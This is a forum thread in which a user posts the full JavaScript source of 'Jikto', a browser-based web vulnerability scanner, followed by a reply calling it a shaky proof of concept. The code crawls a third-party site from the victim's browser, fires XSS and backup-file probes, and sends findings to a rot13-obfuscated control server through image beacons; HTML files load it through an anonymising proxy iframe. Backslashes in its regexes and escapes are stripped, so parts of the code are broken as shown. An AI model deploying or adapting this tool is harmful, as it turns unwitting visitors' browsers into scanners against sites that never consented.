Jump to content

Jikto Source code


ichthuz

Recommended Posts

Don't abuse this but in the interest of full disclosure.

dirlist

/jikto/contol.txt

/jikto/jikto.js

/jikto/jikto.html

/jikto/scan.html

contol.txt

//blank document

jikto.js

 

    

//------------------------------------------------------------------------------------ Analyzer

//------------------------------------------------------------------------------------ Analyzer

//------------------------------------------------------------------------------------ Analyzer

    

    function linkIsGood(l) {

        var lower = l.toLowerCase().substring(0,4);

        //this is stupid (could false pos), but effective

        if(lower == "java" || lower == "mail") {

            return false;

        }

            

        var tmpU = Url.resolveRelativeLink(currRequest.url, l);

        //do checks here

        if(!fileExtAllowed(tmpU)) {

            return false;

        }

        if(tmpU.hostname != startUrl.hostname) {

            return false;

        }

        

        if(tmpU.port != startUrl.port) {

            return false;

        }

        return true;

    }   

    

    

    function extractHREFsAsRequests(txt) {

        var pattern = /hrefs*=s*(["'])([^'"]*)1/gi;

        

        var links = new Array();

        var result;

        while( (result = pattern.exec(txt)) != null) {

            links.push(result[2]);

        }

        

        //refine what we RegExed out    

        var requests = new Array();

        var counter = 0;

        var linklen = links.length;

        for(; counter < linklen; counter++) {

            //clean out the prefix

            links[counter] = links[counter].replace(prefix,"");

            if(linkIsGood(links[counter])) {

                requests.push( Request.fromUrl( Url.resolveRelativeLink(currRequest.url, links[counter]) ));

            }

        }

       

        return requests;

    }

    

    function fileExtAllowed(u) {

        for(var i=0, bfl = badFiles.length; i < bfl; i++) {

            if(u.fileext.toLowerCase() == badFiles[i]) {

                return false;

            }

        }

        return true;

    }    



    function tagParser(text) {



        var PRENAME = 0;

        var INNAME = 1;

        var INPREVALUE = 2;

        var INVALUE = 3;



        var attribs = new Object();

    

    

        var curr = 0;

        var len = text.length;

        

        var c = "";

        

        var state = PRENAME;

        

        

        var buff = "";

        var name = "";

        var quoteChar = "";

        

        while(curr < text.length) {

        

            c = text.charAt(curr);

            

            switch(state) {

            

                case PRENAME:

                    switch(c) {

                    

                        case ' ':

                        case 't':

                        case 'r':

                        case 'n':

                            curr++;

                            break;

                        default:

                            buff = c;

                            curr++;

                            state = INNAME;

                            break;

                    }

                    break;

            

            

                case INNAME:

                    switch(c) {

                        case '=':

                            //= so name is done

                            name = trim(buff).toLowerCase();

                            buff = "";

                            quoteChar = "";

                            curr++;

                            state = INPREVALUE;

                            break;

                        default:

                            buff += c;

                            curr++;

                            break;

                    }

                    break;

                

               case INPREVALUE:

                    switch(c) {

                        case ' ':

                        case 't':

                            //ignore it

                            curr++;

                            break;

                        case "'":

                        case """:

                            quoteChar = c;

                            curr++;

                            state = INVALUE;

                            break;

                        default:

                            //anything is a value

                            quoteChar = "";

                            buff += c;

                            curr++;

                            state = INVALUE;

                            break;

                    }

                    break;                    

                            

            

                 case INVALUE:

                    switch(c) {

                        case quoteChar:

                        

                            //all done!

                            attribs[name] = buff;

                            state = PRENAME;

                            curr++;

                            buff = "";

                            break;

                        case ' ':

                        case 't':

                        case 'r':

                        case 'n':

                            if(quoteChar == "") {

                                

                                attribs[name] = buff;

                                state = PRENAME;

                                buff = "";

                            }

                            curr++;

                            break;

                        default:

                            buff += c;

                            curr++;

                            break;

                    }

                    break;              

            

            } //end switch

        } //end while

        

        var c = 10;

        return attribs;

    }



    function extractFormsAsRequests(txt) {





        var requests = new Array();



        var lowertxt = txt.toLowerCase();



        //RegEx and results for FORM search

        var pattern = /<forms+([^>]+)/gi;

        var result;

        

        while( (result = pattern.exec(txt)) != null) {

            

            //parse out attributes for the form tag

            currForm = tagParser(result[1]);



            //setup something for the inputs            

            currForm.inputs = new Array();

            

            //find the "end" tag

            var endp = lowertxt.indexOf("</form", result.index+1);

            

            //grab all that text "inside" thos form

            var inner = txt.substring(result.index, endp);

            

            //grab all the inputs in the form

            var pattern2 = /<inputs+([^>]+)/gi;

            var result2;

            while( (result2 = pattern2.exec(inner)) != null) {

            

                //parse out the attributes

                currForm.inputs[currForm.inputs.length] = tagParser(result2[1]);

            }

            

            //needs some inputs and an action

            if(currForm.inputs.length > 0 && currForm.action != undefined) {

            

                if(linkIsGood(currForm.action)) {

            

                    var u = Url.resolveRelativeLink(currRequest.url, currForm.action);

            

                    if(currForm.method != undefined && currForm.method.toLowerCase() == "post") {

                        var req = Request.fromUrl(u);

                        req.method = "POST";

                        req.data = buildParamString(currForm.inputs);

                        requests[requests.length] = req;

                    } else {

                        u.queryParams = buildParamString(currForm.inputs);

                        requests[requests.length] = Request.fromUrl(u);

                    }

                }

            }

            

        }

        

        return requests;

        

    }



    function buildParamString(inps) {

    

        var ret = new Array();

        

        var seen = new Object();

        

        for(var i =0; i < inps.length; i++) {

            if(inps[i].name != undefined && seen[inps[i].name] == undefined) {

            

                seen[inps[i].name] = true;

            

                if(inps[i].value != undefined) {

                    ret[ret.length] = new NVPair(inps[i].name, inps[i].value);

                } else {

                    ret[ret.length] = new NVPair(inps[i].name, "admin");                

                }

            }

        }

        return ret;

    }





//------------------------------------------------------------------------------------ Attack Lib

//------------------------------------------------------------------------------------ Attack Lib

//------------------------------------------------------------------------------------ Attack Lib



function generateBackupAttacks(request) {



    var requests = new Array();



    var newreq = new cloneObject(request);

    newreq.url.filename += ".bak";

    newreq.url.queryParams = new Array();

    newreq.data = "";

    newreq.method = "GET";

    newreq.origin = "audit";

    newreq.title = "Backup File Detected!";

    newreq.sev = 50;

    newreq.regex = /HTTP/1.1s200sOK/i;

    

    requests[requests.length] = newreq;



    var newreq = new cloneObject(request);

    newreq.url.filename += ".old";

    newreq.url.queryParams = new Array();

    newreq.data = "";

    newreq.method = "GET";

    newreq.origin = "audit";

    newreq.title = "Backup File Detected!";

    newreq.sev = 50;

    newreq.regex = /HTTP/1.1s200sOK/i;

    requests[requests.length] = newreq;



    return requests;



}



function generatePPASSAttacks(request) {



    var requests = new Array();

    



    if(request.method == "GET" && request.url.queryParams.length > 0) {

   

        var newreq = new cloneObject(request);

        

        newreq.url.queryParams = new Array();

        for(var xxx=0; xxx < request.url.queryParams.length; xxx++) {

        

            newreq.url.queryParams[xxx] = new NVPair(request.url.queryParams[xxx].name,"<script>alert('xss')</script>");

        

        

        }

        newreq.origin = "audit";

        newreq.title = "Cross Site Scripting";

        newreq.sev = 100;

        newreq.regex = /script/i;

        requests[requests.length] = newreq;

    } else if(request.method == "POST") {

    

    

        var t = request.data.length > 0;

    

        var newreq = new cloneObject(request);

        newreq.url.queryParams = new Array();

        newreq.data = new Array();

        

            newreq.data[0] = new NVPair("admin", "<script>alert('xss')</script>");

            newreq.data[1] = new NVPair("password", "<script>alert('xss')</script>");

            newreq.data[2] = new NVPair("graphicOption", "<script>alert('xss')</script>");

        

        newreq.origin = "audit";

        newreq.title = "Cross Site Scripting";

        newreq.sev = 100;

        newreq.regex = /script/i;

        requests[requests.length] = newreq;

    }

    

    return requests;



}





//------------------------------------------------------------------------------------ Global Variables

//------------------------------------------------------------------------------------ Global Variables

//------------------------------------------------------------------------------------ Global Variables

  

    var currRequest = null;

    var currResponse = null;

  

  

    //startURL!

    var GUIURL = rot13("uggc://jjj.cragrfg.vg/wvxgb/pbageby.gkg"); //http://www.pentest.it/jikto/control.txt //http://localhost/JiktoControl/Collect.aspx?type=

                                                                              //uggc://ybpnyubfg/WvxgbPbageby/Pbyyrpg.nfck?glcr=

    var SLASH = String.fromCharCode(47);

    

    //prefix for our requests

    var prefix = window.location.pathname.substr(0,window.location.pathname.indexOf("http:", 7))

    

    //image extensions

    var badFiles = ["jpg", "jpeg", "gif", "png", "ico", "psd", "xcf", "xmb", "svg", "wmv", "bmp", "pdf", "ps", "doc", "dot", "xls", "pot", "ppt", "avi", "mpeg", "mpg", "asf", "mov", "wmv", "rm", "mp2", "mp3", "wma", "wav", "aiff", "aif", "mid", "midi", "mp4", "au", "ra", "exe", "pif", "bat", "msi", "swf", "class", "sh", "zip", "gz", "tar", "rar", "z", "jar", "cab", "rpm"];



    //our requestor!

    var xhr= new XMLHttpRequest();



//------------------------------------------------------------------------------------ GUI Interface

//------------------------------------------------------------------------------------ GUI Interface

//------------------------------------------------------------------------------------ GUI Interface



//alert("GUI");



    function reportURL(method, url) {

        var i = new Image();

        i.src = GUIURL + "1&url=" + escape(url) + "&method=" + escape(method);  

    }

    

    function reportVuln(method, url, sev, title, req, resp) {

        var i = new Image();

        i.src = GUIURL + "2&url=" + escape(url) + "&method=" + escape(method)+ "&sev=" + escape(sev) +"&title=" + escape(title) +"&req=" + escape(req) + "&resp=" + escape(resp);

    }    



//------------------------------------------------------------------------------------ Misc Funcs

//------------------------------------------------------------------------------------ Misc Funcs

//------------------------------------------------------------------------------------ Misc Funcs





    function cloneObject(what) {

        for (var i in what) {

        

            if(typeof(what[i]) == "object") {

                this[i] = new cloneObject(what[i]);

            } else {

                this[i] = what[i];

            }

        }

    }



    function rot13(txt) {

      

        var ret =""

        var len = txt.length;

            

        for(var i=0; i < len; i++) {

        

            var b = txt.charCodeAt(i);

            if( ((b>64) && (b<78)) || ((b>96) && (b<110)) ) {

                b +=13;

            } else if( ((b>77) && (b<91)) || ((b>109) && (b<123)) ) {

                b -=13;

            }

            ret += String.fromCharCode(b);

        }

        return ret;

    }



    function trim(s) {

        return s.replace(/^s*(S*(s+S+)*)s*$/, "$1");

    } 



//------------------------------------------------------------------------------------ Request

//------------------------------------------------------------------------------------ Request

//------------------------------------------------------------------------------------ Request



    function Request() {

    

        this.url = null;

        this.method = "";

        this.origin = "crawl";

        this.data = "";

        

        this.title = "xx";

        this.regex = "";

        this.sev = 0;

    

    }

    

    Request.fromUrl = function(u) {

    

        var ret = new Request();

        ret.url = u;

        ret.method = "GET";

        ret.origin = "crawl";

        return ret;

    }

    

    Request.prototype.getResource = function () {

        return this.url.toString();

    }

    

    Request.prototype.toString = function () {

        

        return String.concat(this.method, " ", this.getResource(), " HTTP/1.1");

    }



//------------------------------------------------------------------------------------ Response

//------------------------------------------------------------------------------------ Response

//------------------------------------------------------------------------------------ Response



    //create a response object from a completely returned XHR obj!

    function Response(x) {



        this.status = x.status;

        this.statusText = x.statusText;



        this.is404 = false;

        

        this.headersString = x.getAllResponseHeaders();

        //extract the headers into a hash table

        this.headers = new Object();

        var tmp = this.headersString.split("n");

        var j;

        var k = ": ";

        

        for(var i =0; i < tmp.length; i++) {

            j = tmp[i].indexOf(k);

            if(j > 0) {

                this.headers[tmp[i].substring(0, j)] = tmp[i].substring(j + 2, tmp[i].length);

            }

        }

        

        this.body = x.responseText;

        return this;

            

    }



    function Response_toString() {

        var s="";

        var i;

        s = String.concat(s, "HTTP/1.1 ", this.status, " ", this.statusText, "n");

        

        for (i in this.headers) {

            

            s = String.concat(s, i, ": ", this.headers[i], "n");

        }



        s = String.concat(s, this.data);

        return s;

    }



    Response.prototype.toString = Response_toString;



//------------------------------------------------------------------------------------ Scanner

//------------------------------------------------------------------------------------ Scanner

//------------------------------------------------------------------------------------ Scanner

    

    var pending = new Object();

    var pendingLen = 0;

    

    var visited = new Object();

    

    function addRequest(r) {

    

        if(r  != undefined) {

    

            if(pending[r.toString()] == undefined) {

                if(visited[r.toString()] == undefined) {

                    pending[r.toString()] = r;

                    pendingLen++;

                    return true;

                }

            }

            return false;

        }

    }

      

    function processResponse() {

        

        // only if req shows "loaded"

        if (xhr.readyState == 4) {

            //send reponse off

            

            currResponse = new Response(xhr);

            

            

            

            

            if(currResponse.status == 200) {

                reportURL(currRequest.method, currRequest.getResource());

            }

            

            var requests = null;

            

            //grab any requests from HREFs

            requests = extractHREFsAsRequests(currResponse.body);

            var requests2 = extractFormsAsRequests(currResponse.body);

            

            if(requests2.length > 0) {

            

                requests = requests.concat(requests2);

            }

           

           if(requests.length > 0) {

            

                //bubble up the GUI and add them (if needed)

                for(var i =0; i < requests.length; i++)

                {

                    addRequest(requests[i]);

            

                    //================= Generate Attacks

                    

                    requests2 = generateBackupAttacks(requests[i]);

                    

                    //requests2 = (generatePPASSAttacks(requests[i]));

                    requests2 = requests2.concat(generatePPASSAttacks(requests[i]));

                    

                    

                    if(requests2.length > 0) {

                    

                        for(var k =0; k < requests2.length; k++)

                        {

                            addRequest(requests2[k]);

                        }

                    

                    }

                }

            }



            if(xhr.responseText.indexOf("xss") > 0) {

                

                

                reportVuln(currRequest.method, currRequest.getResource(), 100, "Cross Site Scripting", currRequest.toString(), currResponse.toString());

            }





            

            

            //==============score attacks here

            if(currRequest.origin == "audit") {

            

                if(currResponse.toString().match(currRequest.regex)) {

                

                

                    reportVuln(currRequest.method, currRequest.getResource(), currRequest.sev, currRequest.title, currRequest.toString(), currResponse.toString());

                }

                

            

            

            }

            

            

            sendNextRequest();

        }

    }

    

    

    function sendNextRequest() {

        

        if(pendingLen == 0) {

            //toGUI("Scan Complete!");

            return true;

        }



       //grab the first Request

        for(i in pending) {

            currRequest = pending[i];

            break;

        }



        //remove it from the queue       

        delete pending[currRequest.toString()];

        pendingLen--;

        

        //add it to visited

        visited[currRequest.toString()] = true;

        

        //clear out the old response obj

        currResponse = null;

        

        xhr = new XMLHttpRequest();



        var data = "";



        //register the handler function

        xhr.onreadystatechange = processResponse;



        xhr.open(currRequest.method, prefix + currRequest.getResource(), true);

        

        if(currRequest.method == "POST") {

        

            data = currRequest.data.join("&");

            xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

            xhr.setRequestHeader("Content-length", data.length);

            //http.setRequestHeader("Connection", "close");        

        } 

        

        //add our magic header

        xhr.setRequestHeader('X-Hax0r', 'Acidus');



        xhr.send(data);

    }

    

//------------------------------------------------------------------------------------ URL Object

//------------------------------------------------------------------------------------ URL Object

//------------------------------------------------------------------------------------ URL Object



    function NVPair(n, v) {

        this.name = n;

        this.value = v;

        

        return this;

    }



    NVPair.prototype.toString = function() {

        return String.concat(escape(this.name), "=", escape(this.value));

    }

    

    function setParamValue(name, value, ar) {

    

        for (var yyy in ar.length) {

        

            if(ar[yyy].name != undefined) {

                if(ar[yyy].name == name) {

                    ar[yyy].value = value;

                    break;

                }

            }

        }

        return ar;    

    }

        

    function getParamArray(qs) {



        var ret = new Array();



        var nvp = qs.split("&");

        for(var i=0; i < nvp.length; i++) {



            var tmp = nvp[i].split("=");

            if(tmp.length == 1) {

                ret[ret.length] = new NVPair(unescape(tmp[0]), "");

            } else if(tmp.length == 2) {

                ret[ret.length] = new NVPair(unescape(tmp[0]), unescape(tmp[1]));

            }

        }

        return ret;

    }

    

    function Url(url) {

        

        this.protocol = "";



        this.hostname = "";

        this.port = "";

        this.path = "";

        this.filename="";    

        this.fileext="";

        this.frag ="";

        

        this.queryParams = new Array();

        

        if(arguments.length == 1) {

            

            var tmp;

            var rest;

            //grab the fraq

            tmp = url.split("#");

            rest = tmp[0];

            this.frag= (tmp.length > 1) ? unescape(String.concat("#",tmp[1])) : "";



            //grab the query string

            tmp = rest.split("?");

            rest = tmp[0];

            

            if(tmp.length > 1) {

                this.queryParams = getParamArray(tmp[1]);

            }

            //grab the protocol

            tmp = rest.split("//");

            if(tmp.length > 1) {

                tmp[0] = unescape(tmp[0]);

                this.protocol = tmp[0].substring(0,tmp[0].length-1).toLowerCase();              

                rest = tmp[1];

            } else {

                //alert("Invalid url "" + url + """);

                throw "Invalid URL";

            }

            

            //grab the host

            tmp = rest.split(SLASH);

            

            if(tmp.length > 1) {

                //get rid of hostname

                this.hostname = unescape(tmp.shift()).toLowerCase();

                

                //only 1 thing left, which is the filename

                if(tmp.length == 1) {

                    this.filename = unescape(tmp[0]);

                    this.path = SLASH;

                } else {

                    //filename is at the end

                    this.filename = unescape(tmp.pop());

                    //recombine and add leading and trailing slashes

                    

                    for(var i =0; i < tmp.length; i++) {

                        tmp[i] = unescape(tmp[i]);

                    }

                    

                    for(var i = 0; i < tmp.length; i++) {

                        

                        if(tmp[i] == ".") {

                            tmp.splice(i, 1);

                            i = i -1;

                        } else if(tmp[i] == "..") {

                            if(i == 0) {

                                //more /../ than directories

                                //alert("Invalid url "" + url + """);

                                throw "Invalid URL";

                            }

                            tmp.splice(i-1, 2);

                            i=i-2;

                        }

                    }

                    if(tmp.length >=1) {

                        this.path = String.concat(SLASH, tmp.join(SLASH), SLASH);

                    } else {

                        this.path = SLASH;

                    }

                }

            } else {

                this.hostname = unescape(tmp[0]);

                this.path = SLASH;            

            }

            

            //grab the port

            tmp = this.hostname.split(":");

            this.hostname = tmp[0];

            this.port = (tmp.length == 2) ? unescape(tmp[1]) : "";

            

            //be smart and fill in the port as needed

            if(this.port.length == 0) {

                if(this.protocol == "http")

                    this.port = "80";

                else

                    this.port = "443";

            }

            

            //grab the filename extension

            if(this.filename.length > 0) {

                tmp = this.filename.split(".");

                this.fileext = (tmp.length > 1) ? tmp.pop() : "";

            }

        }

        return this;



    }

    

    Url.prototype.addNV = function(name, value) {

        this.queryParams[this.queryParams.length] = new NVPair(name, value);

    }



    function Url_resolveRelativeLink(baseUrl, relativeLink) {



        if(typeof(baseUrl) == "string") {

            baseUrl = new Url(baseUrl);

        }



        //is it relative?

        if(unescape(relativeLink).indexOf("://") > 0) {

            return new Url(relativeLink);

        }

        //alert("BASE IS: " + baseUrl);

        

        var s;

        //set up our base

        s = String.concat(baseUrl.protocol,

                          "://",

                          baseUrl.hostname,

                          (baseUrl.port.length > 0) ? ":" + baseUrl.port : "");

        if(relativeLink.substring(0,1) == SLASH) {

            //link is relative to site root, so directly concat

            

            s = String.concat(s, relativeLink);

        } else {

            //link is relative to current path

            

            s = String.concat(s, baseUrl.path, relativeLink);

        }

        

        return new Url(s);

    }



    function Url_toString() {



        return String.concat(this.protocol,

                      "://",

                      this.hostname,

                      (this.port.length > 0) ? ":" + this.port : "",

                      this.path,

                      this.filename,

                      (this.queryParams.length > 0) ? "?" + this.queryParams.join("&") : "",

                      this.frag);



    }



    function Url_toStringNoPath() {



        return String.concat(this.protocol,

                      "://",

                      this.hostname,

                      (this.port.length > 0) ? ":" + this.port : "");

    }



    Url.prototype.toString = Url_toString;

    Url.prototype.toStringNoPath = Url_toStringNoPath;

    Url.resolveRelativeLink = Url_resolveRelativeLink;    

    

//------------------------------------------------------------------------------------------------------------------------------------------------------------------------

//------------------------------------------------------------------------------------------------------------------------------------------------------------------------

//------------------------------------------------------------------------------------------------------------------------------------------------------------------------



//var startUrlString = rot13("uggc://mreb.jronccfrphevgl.pbz/");

var startUrlString = rot13("uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc");  //http://blackhat-forums.com/phpBB2/index.php   uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc

//var startUrlString = rot13("");

var startUrl = new Url(startUrlString);

//queue up first request

addRequest(Request.fromUrl(startUrl));

//let 'er rip!

sendNextRequest();

jikto.html

<html>

<head>

    <title>Jikto Scan</title>

</head>

<body>

    above script

    <script src="http://www.pentest.it/jikto/jikto.js"></script>

    <br />

    below script

</body>

</html>

scan.html

<HTML>

    <HEAD>

        <TITLE>Jikto Test</TITLE>

        <script src="/mint/?js" type="text/javascript"></script>

    </HEAD>



    <BODY>



    <h1>Scanning..</h1>

    

<!---         <iframe src="http://www.google.com/translate?u=http%3A%2F%2Fwww.pentest.it%2Fjikto%2Fjikto.html&langpair=en%7Cen&hl=en&ie=UTF8"></iframe>  ----->

         <iframe src="http://www.the-cloak.com/Cloaked/+cfg=32/http://www.pentest.it/jikto/jikto.html"></iframe>   

        

    </BODY>



</HTML>

skript kiddies shouldnt get how to work it, its pretty complex JS l33ts please dont post guides or the script kiddies will break the net.

Link to comment
Share on other sites

VIP forums? Is that what digg.com is now? The only reason it's spreading is that most people don't bother to look at the code and just believe the hype instead.

As for the code, it's a proof of concept for a vulnerability scanner that you can only run on a site you've already attacked. As proof of concept code normally is it isn't very solid at all and can easily break at several places and his obvious over-exposure to C code clearly shines through. Fun idea but if it's used in its current form in reality it would probably be perceived as more of a DOS attack than anything else.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...